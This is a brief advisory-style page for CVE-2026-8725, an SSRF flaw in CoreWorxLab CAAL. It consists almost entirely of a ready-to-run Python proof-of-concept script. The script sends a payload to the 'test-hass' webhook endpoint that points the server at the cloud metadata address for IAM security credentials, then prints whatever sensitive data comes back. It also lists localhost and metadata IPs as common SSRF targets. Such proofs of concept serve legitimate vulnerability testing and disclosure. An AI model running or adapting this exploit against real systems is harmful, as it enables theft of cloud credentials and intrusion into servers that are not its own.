CVE-2026-8725 CoreWorxLab CAAL 服务端请求伪造漏洞

import requests # CVE-2026-8725 PoC for CoreWorxLab CAAL SSRF # Target: test-hass endpoint in webhooks.py target_url = "http://target-ip:port/test-hass" # Replace with actual target # Example payload attempting to access internal metadata # Common SSRF test targets: localhost, 127.0.0.1, cloud metadata IPs ssrf_payload = { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } try: print(f"[*] Sending SSRF payload to {target_url}...") response = requests.post(target_url, json=ssrf_payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for sensitive data:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")